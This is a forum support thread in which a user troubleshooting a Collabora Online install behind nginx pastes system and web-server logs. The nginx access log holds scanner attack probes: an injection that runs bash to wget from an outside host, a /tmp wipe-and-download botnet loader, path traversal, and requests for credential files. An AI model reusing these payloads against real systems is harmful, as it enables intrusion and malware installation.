Missing config for CODE installation?

Installation & Configuration
1

I have installed CODE and set up nginx as a reverse proxy, but now I’m stuck with what is still missing.

When I go to my browser at https://collabora1.xxx.com/hosting/capabilities I get:

image

Is this supposed to look like this (a .json object)?

I cannot load https://collabora1.xxx.com/cool/adminws, just get blank page.

In the log I see:
GET /cool/adminws HTTP/1.1" 400 0 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0

The HTTP error 400 is not displayed in the browser.

There are no other log entries in the nginx error.log or syslog.

What should I do or where should I look?

2

@lifeboy can you share the logs CODE docker container ?
can you share the wopi config from coolwsd.xml please ?

3

I have an installation directly in a Linux Container from packages, not in docker. I cannot upload log files, I get a popup saying I’m new account, so I’ve pasted them here:

root@Collabora1:/var/log# cat syslog
Jun  9 00:00:10 Collabora1 systemd[1]: Starting Daily dpkg database backup service...
Jun  9 00:00:11 Collabora1 systemd[1]: Starting Rotate log files...
Jun  9 00:00:12 Collabora1 systemd[1]: dpkg-db-backup.service: Deactivated successfully.
Jun  9 00:00:12 Collabora1 systemd[1]: Finished Daily dpkg database backup service.
Jun  9 00:00:15 Collabora1 systemd[1]: logrotate.service: Deactivated successfully.
Jun  9 00:00:15 Collabora1 systemd[1]: Finished Rotate log files.
Jun  9 00:27:01 Collabora1 CRON[10559]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 01:27:01 Collabora1 CRON[10564]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 01:30:10 Collabora1 systemd[1]: Starting Certbot...
Jun  9 01:30:33 Collabora1 systemd[1]: certbot.service: Deactivated successfully.
Jun  9 01:30:33 Collabora1 systemd[1]: Finished Certbot.
Jun  9 02:00:01 Collabora1 CRON[10571]: (root) CMD (test -x /usr/bin/certbot -a \! -d /run/systemd/system && perl -e 'sleep int(rand(43200))' && certbot -q renew)
Jun  9 02:27:01 Collabora1 CRON[10574]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 03:27:01 Collabora1 CRON[10579]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 03:33:27 Collabora1 systemd[1]: Starting Ubuntu Advantage Timer for running repeated jobs...
Jun  9 03:33:38 Collabora1 systemd[1]: ua-timer.service: Deactivated successfully.
Jun  9 03:33:38 Collabora1 systemd[1]: Finished Ubuntu Advantage Timer for running repeated jobs.
Jun  9 04:17:01 Collabora1 systemd[1]: Starting Message of the Day...
Jun  9 04:17:02 Collabora1 systemd[1]: motd-news.service: Deactivated successfully.
Jun  9 04:17:02 Collabora1 systemd[1]: Finished Message of the Day.
Jun  9 04:27:01 Collabora1 CRON[10594]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 05:05:01 Collabora1 CRON[10598]: (root) CMD (test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r)
Jun  9 05:27:01 Collabora1 CRON[10601]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 06:02:10 Collabora1 systemd[1]: Starting Daily apt upgrade and clean activities...
Jun  9 06:02:13 Collabora1 systemd[1]: apt-daily-upgrade.service: Deactivated successfully.
Jun  9 06:02:13 Collabora1 systemd[1]: Finished Daily apt upgrade and clean activities.
Jun  9 06:27:01 Collabora1 CRON[10655]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 07:27:01 Collabora1 CRON[10659]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 07:35:24 Collabora1 coolwsd[8209]: wsd-08209-08209 2022-06-09 07:35:24.888072 +0200 [ coolwsd ] WRN  Waking up dead poll thread [update], started: false, finished: false| net/Socket.hpp:720
Jun  9 08:27:01 Collabora1 CRON[10666]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 08:58:01 Collabora1 systemd[1]: Created slice User Slice of UID 65534.
Jun  9 08:58:01 Collabora1 CRON[10670]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
Jun  9 08:58:01 Collabora1 systemd[1]: Starting User Runtime Directory /run/user/65534...
Jun  9 08:58:01 Collabora1 systemd[1]: Finished User Runtime Directory /run/user/65534.
Jun  9 08:58:01 Collabora1 systemd[1]: Starting User Manager for UID 65534...
Jun  9 08:58:02 Collabora1 systemd[10693]: Queued start job for default target Main User Target.
Jun  9 08:58:02 Collabora1 systemd[10693]: Reached target Paths.
Jun  9 08:58:02 Collabora1 systemd[10693]: Reached target Sockets.
Jun  9 08:58:02 Collabora1 systemd[10693]: Reached target Timers.
Jun  9 08:58:02 Collabora1 systemd[10693]: Reached target Basic System.
Jun  9 08:58:02 Collabora1 systemd[10693]: Reached target Main User Target.
Jun  9 08:58:02 Collabora1 systemd[10693]: Startup finished in 424ms.
Jun  9 08:58:02 Collabora1 systemd[1]: Started User Manager for UID 65534.
Jun  9 08:58:02 Collabora1 systemd[1]: Started Session 33428 of User nobody.
Jun  9 08:58:02 Collabora1 systemd[1]: Started Session c9 of User nobody.
Jun  9 08:58:02 Collabora1 systemd[1]: session-33428.scope: Deactivated successfully.
Jun  9 08:58:02 Collabora1 systemd[1]: Started Session 33428 of User nobody.
Jun  9 08:58:02 Collabora1 systemd[1]: session-c9.scope: Deactivated successfully.
Jun  9 09:00:00 Collabora1 systemd[1]: session-33428.scope: Deactivated successfully.
Jun  9 09:00:00 Collabora1 systemd[1]: session-33428.scope: Consumed 2.030s CPU time.
Jun  9 09:00:10 Collabora1 systemd[1]: Stopping User Manager for UID 65534...
Jun  9 09:00:10 Collabora1 systemd[10693]: Stopped target Main User Target.
Jun  9 09:00:10 Collabora1 systemd[10693]: Stopped target Basic System.
Jun  9 09:00:10 Collabora1 systemd[10693]: Stopped target Paths.
Jun  9 09:00:10 Collabora1 systemd[10693]: Stopped target Sockets.
Jun  9 09:00:10 Collabora1 systemd[10693]: Reached target Shutdown.
Jun  9 09:00:10 Collabora1 systemd[10693]: Stopped target Timers.
Jun  9 09:00:10 Collabora1 systemd[10693]: Finished Exit the Session.
Jun  9 09:00:10 Collabora1 systemd[10693]: Reached target Exit the Session.
Jun  9 09:00:10 Collabora1 systemd[1]: user@65534.service: Deactivated successfully.
Jun  9 09:00:10 Collabora1 systemd[1]: Stopped User Manager for UID 65534.
Jun  9 09:00:10 Collabora1 systemd[1]: Stopping User Runtime Directory /run/user/65534...
Jun  9 09:00:10 Collabora1 systemd[1]: run-user-65534.mount: Deactivated successfully.
Jun  9 09:00:10 Collabora1 systemd[1]: user-65534.slice: Consumed 2.092s CPU time.
Jun  9 09:27:01 Collabora1 CRON[10713]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 09:47:27 Collabora1 systemd[1]: Starting Ubuntu Advantage Timer for running repeated jobs...
Jun  9 09:47:36 Collabora1 systemd[1]: ua-timer.service: Deactivated successfully.
Jun  9 09:47:36 Collabora1 systemd[1]: Finished Ubuntu Advantage Timer for running repeated jobs.
Jun  9 09:56:59 Collabora1 systemd[1]: Starting Daily man-db regeneration...
Jun  9 09:57:16 Collabora1 systemd[1]: man-db.service: Deactivated successfully.
Jun  9 09:57:16 Collabora1 systemd[1]: Finished Daily man-db regeneration.
Jun  9 10:27:01 Collabora1 CRON[10731]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 11:26:56 Collabora1 systemd[1]: Starting Daily apt download activities...
Jun  9 11:26:58 Collabora1 systemd[1]: apt-daily.service: Deactivated successfully.
Jun  9 11:26:58 Collabora1 systemd[1]: Finished Daily apt download activities.
Jun  9 11:27:01 Collabora1 CRON[10784]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 12:27:02 Collabora1 CRON[10788]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 13:27:01 Collabora1 CRON[10793]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jun  9 13:50:22 Collabora1 systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (192.168.131.150:33804).
Jun  9 13:50:23 Collabora1 systemd[1]: Created slice User Slice of UID 0.
Jun  9 13:50:23 Collabora1 systemd[1]: Starting User Runtime Directory /run/user/0...
Jun  9 13:50:23 Collabora1 systemd[1]: Finished User Runtime Directory /run/user/0.
Jun  9 13:50:23 Collabora1 systemd[1]: Starting User Manager for UID 0...
Jun  9 13:50:24 Collabora1 systemd[10799]: Queued start job for default target Main User Target.
Jun  9 13:50:24 Collabora1 systemd[10799]: Reached target Paths.
Jun  9 13:50:24 Collabora1 systemd[10799]: Reached target Sockets.
Jun  9 13:50:24 Collabora1 systemd[10799]: Reached target Timers.
Jun  9 13:50:24 Collabora1 systemd[10799]: Reached target Basic System.
Jun  9 13:50:24 Collabora1 systemd[10799]: Reached target Main User Target.
Jun  9 13:50:24 Collabora1 systemd[10799]: Startup finished in 211ms.
Jun  9 13:50:24 Collabora1 systemd[1]: Started User Manager for UID 0.
Jun  9 13:50:24 Collabora1 systemd[1]: Started Session 34123 of User root.
Jun  9 13:50:26 Collabora1 systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (192.168.131.150:33810).
Jun  9 13:50:26 Collabora1 systemd[1]: Started Session 34125 of User root.
Jun  9 14:00:02 Collabora1 CRON[10856]: (root) CMD (test -x /usr/bin/certbot -a \! -d /run/systemd/system && perl -e 'sleep int(rand(43200))' && certbot -q renew)
Jun  9 14:07:05 Collabora1 systemd[1]: Started OpenBSD Secure Shell server per-connection daemon (192.168.131.150:34392).
Jun  9 14:07:06 Collabora1 systemd[1]: Started Session 34166 of User root.
Jun  9 14:13:38 Collabora1 coolwsd[8209]: wsd-08209-08255 2022-06-09 14:13:38.231225 +0200 [ websrv_poll ] WRN  client - server version mismatch, disabling browser cache. Expected: 85ac843| wsd/FileServer.cpp:510
Jun  9 14:13:38 Collabora1 coolwsd[8209]: wsd-08209-08255 2022-06-09 14:13:38.668961 +0200 [ websrv_poll ] ERR  FileServerRequestHandler: File not found: Invalid URI request: [/browser].| wsd/FileServer.cpp:689

more to follow…

4 
root@Collabora1:/var/log# cat nginx/access.log
106.75.246.50 - - [09/Jun/2022:00:08:58 +0200] "GET / HTTP/1.0" 200 612 "-" "-"
128.14.133.58 - - [09/Jun/2022:00:31:01 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
128.14.133.58 - - [09/Jun/2022:00:31:15 +0200] "GET /webfig/ HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
94.102.61.8 - - [09/Jun/2022:01:17:47 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
192.241.214.157 - - [09/Jun/2022:01:25:35 +0200] "GET /owa/auth/x.js HTTP/1.1" 404 118 "-" "Mozilla/5.0 zgrab/0.x"
192.241.220.215 - - [09/Jun/2022:01:27:34 +0200] "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1" 404 118 "-" "Mozilla/5.0 zgrab/0.x"
193.118.53.202 - - [09/Jun/2022:01:28:28 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
193.118.53.202 - - [09/Jun/2022:01:28:29 +0200] "GET /webfig/ HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
192.241.220.248 - - [09/Jun/2022:01:28:30 +0200] "GET /owa/auth/logon.aspx HTTP/1.1" 404 118 "-" "Mozilla/5.0 zgrab/0.x"
185.180.143.138 - - [09/Jun/2022:01:48:51 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
209.141.50.20 - - [09/Jun/2022:02:24:55 +0200] "GET /%24%7Bnew+javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new+java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget+https%3A%2F%2Finsidegroup.be%2Fwp-includes%2FText%2Fa.php%3Fid%3D197.214.119.179%27%29.start%28%29%22%29%7D%2F HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
209.141.50.20 - - [09/Jun/2022:02:24:56 +0200] "GET /%24%7Bnew+javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new+java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget+https%3A%2F%2Finsidegroup.be%2Fwp-includes%2FText%2Fa.php%3Fid%3D197.214.119.179%27%29.start%28%29%22%29%7D%2F HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36"
61.85.133.73 - admin [09/Jun/2022:02:33:54 +0200] "POST /editBlackAndWhiteList HTTP/1.1" 404 146 "-" "Mozila/5.0"
167.94.138.46 - - [09/Jun/2022:03:18:51 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
167.94.138.46 - - [09/Jun/2022:03:18:52 +0200] "PRI * HTTP/2.0" 400 150 "-" "-"
167.94.138.61 - - [09/Jun/2022:03:19:30 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
167.94.138.61 - - [09/Jun/2022:03:19:31 +0200] "PRI * HTTP/2.0" 400 150 "-" "-"
45.134.144.140 - - [09/Jun/2022:03:20:46 +0200] "GET ///remote/fgt_lang?lang=/../../../..//////////dev/ HTTP/1.1" 404 118 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.el7.x86_64"
185.142.236.41 - - [09/Jun/2022:03:40:14 +0200] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
185.142.236.41 - - [09/Jun/2022:03:40:28 +0200] "" 400 0 "-" "-"
185.142.236.41 - - [09/Jun/2022:03:40:29 +0200] "" 400 0 "-" "-"
185.142.236.41 - - [09/Jun/2022:03:40:38 +0200] "" 400 0 "-" "-"
185.142.236.41 - - [09/Jun/2022:03:40:58 +0200] "GET /robots.txt HTTP/1.1" 404 146 "-" "-"
185.142.236.41 - - [09/Jun/2022:03:40:59 +0200] "GET /sitemap.xml HTTP/1.1" 404 146 "-" "-"
185.142.236.41 - - [09/Jun/2022:03:41:02 +0200] "GET /.well-known/security.txt HTTP/1.1" 404 146 "-" "-"
185.142.236.41 - - [09/Jun/2022:03:41:05 +0200] "GET /favicon.ico HTTP/1.1" 404 118 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0"
185.142.236.41 - - [09/Jun/2022:03:41:07 +0200] "" 400 0 "-" "-"
185.142.236.41 - - [09/Jun/2022:03:41:09 +0200] "\x03\xB1O\xA1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-"
34.78.6.216 - - [09/Jun/2022:03:43:51 +0200] "GET / HTTP/1.1" 400 248 "-" "python-requests/2.27.1"
185.180.143.136 - - [09/Jun/2022:03:45:09 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
192.241.215.38 - - [09/Jun/2022:03:50:58 +0200] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 404 118 "-" "Mozilla/5.0 zgrab/0.x"
172.104.138.223 - - [09/Jun/2022:03:55:03 +0200] "GET /fuN3 HTTP/1.0" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36"
192.241.216.7 - - [09/Jun/2022:04:08:24 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 zgrab/0.x"
202.102.144.122 - - [09/Jun/2022:04:25:08 +0200] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 Chrome"
192.241.212.238 - - [09/Jun/2022:04:25:43 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 zgrab/0.x"
179.43.142.156 - - [09/Jun/2022:04:34:26 +0200] "GET /.git/config HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Maxthon/5.2.7.5000"
222.175.199.226 - - [09/Jun/2022:04:36:22 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
2.57.122.35 - - [09/Jun/2022:04:42:42 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
109.237.103.118 - - [09/Jun/2022:04:53:50 +0200] "GET /.aws/credentials HTTP/1.1" 400 650 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
109.237.103.118 - - [09/Jun/2022:04:53:50 +0200] "GET /.aws/credentials HTTP/1.1" 404 181 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
178.220.228.170 - - [09/Jun/2022:05:07:15 +0200] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
128.14.141.34 - - [09/Jun/2022:05:29:16 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
188.127.235.241 - - [09/Jun/2022:06:05:19 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://41.216.189.209/bins/aqua.mpsl;sh+/tmp/aqua.mpsl HTTP/1.1" 404 146 "-" "Hello, world"
49.213.189.162 - admin [09/Jun/2022:06:40:39 +0200] "POST /editBlackAndWhiteList HTTP/1.1" 404 146 "-" "Mozila/5.0"
45.95.55.50 - - [09/Jun/2022:06:51:42 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
45.95.55.50 - - [09/Jun/2022:06:51:51 +0200] "POST /HNAP1/ HTTP/1.1" 404 118 "-" "Mozila/5.0"
185.180.143.79 - - [09/Jun/2022:07:20:29 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
60.217.75.69 - - [09/Jun/2022:07:21:09 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0"
167.94.138.47 - - [09/Jun/2022:07:23:54 +0200] "GET / HTTP/1.1" 200 612 "-" "-"
167.94.138.47 - - [09/Jun/2022:07:23:55 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
167.94.138.47 - - [09/Jun/2022:07:23:56 +0200] "PRI * HTTP/2.0" 400 150 "-" "-"
2.56.57.72 - - [09/Jun/2022:07:27:12 +0200] "POST /boaform/admin/formLogin HTTP/1.1" 404 118 "http://197.214.119.179:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
2.56.57.72 - - [09/Jun/2022:07:27:13 +0200] "" 400 0 "-" "-"
192.241.222.164 - - [09/Jun/2022:07:31:56 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x"
193.106.191.48 - - [09/Jun/2022:07:49:26 +0200] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.106.191.48 - - [09/Jun/2022:08:09:18 +0200] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
18.206.55.48 - - [09/Jun/2022:08:24:51 +0200] "GET / HTTP/1.1" 200 396 "-" "Apache-HttpClient/5.1.3 (Java/11.0.14.1)"
18.206.55.48 - - [09/Jun/2022:08:24:52 +0200] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
18.206.55.48 - - [09/Jun/2022:08:24:52 +0200] "GET / HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
18.206.55.48 - - [09/Jun/2022:08:24:53 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
18.206.55.48 - - [09/Jun/2022:08:24:53 +0200] "GET /favicon.ico HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
18.206.55.48 - - [09/Jun/2022:08:24:53 +0200] "GET /favicon.png HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
54.227.32.154 - - [09/Jun/2022:08:24:54 +0200] "GET / HTTP/1.1" 200 396 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29"
193.106.191.48 - - [09/Jun/2022:08:28:49 +0200] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 181 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
68.66.164.26 - - [09/Jun/2022:08:36:02 +0200] "GET /.env HTTP/1.1" 404 181 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
68.66.164.26 - - [09/Jun/2022:08:36:03 +0200] "POST / HTTP/1.1" 405 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
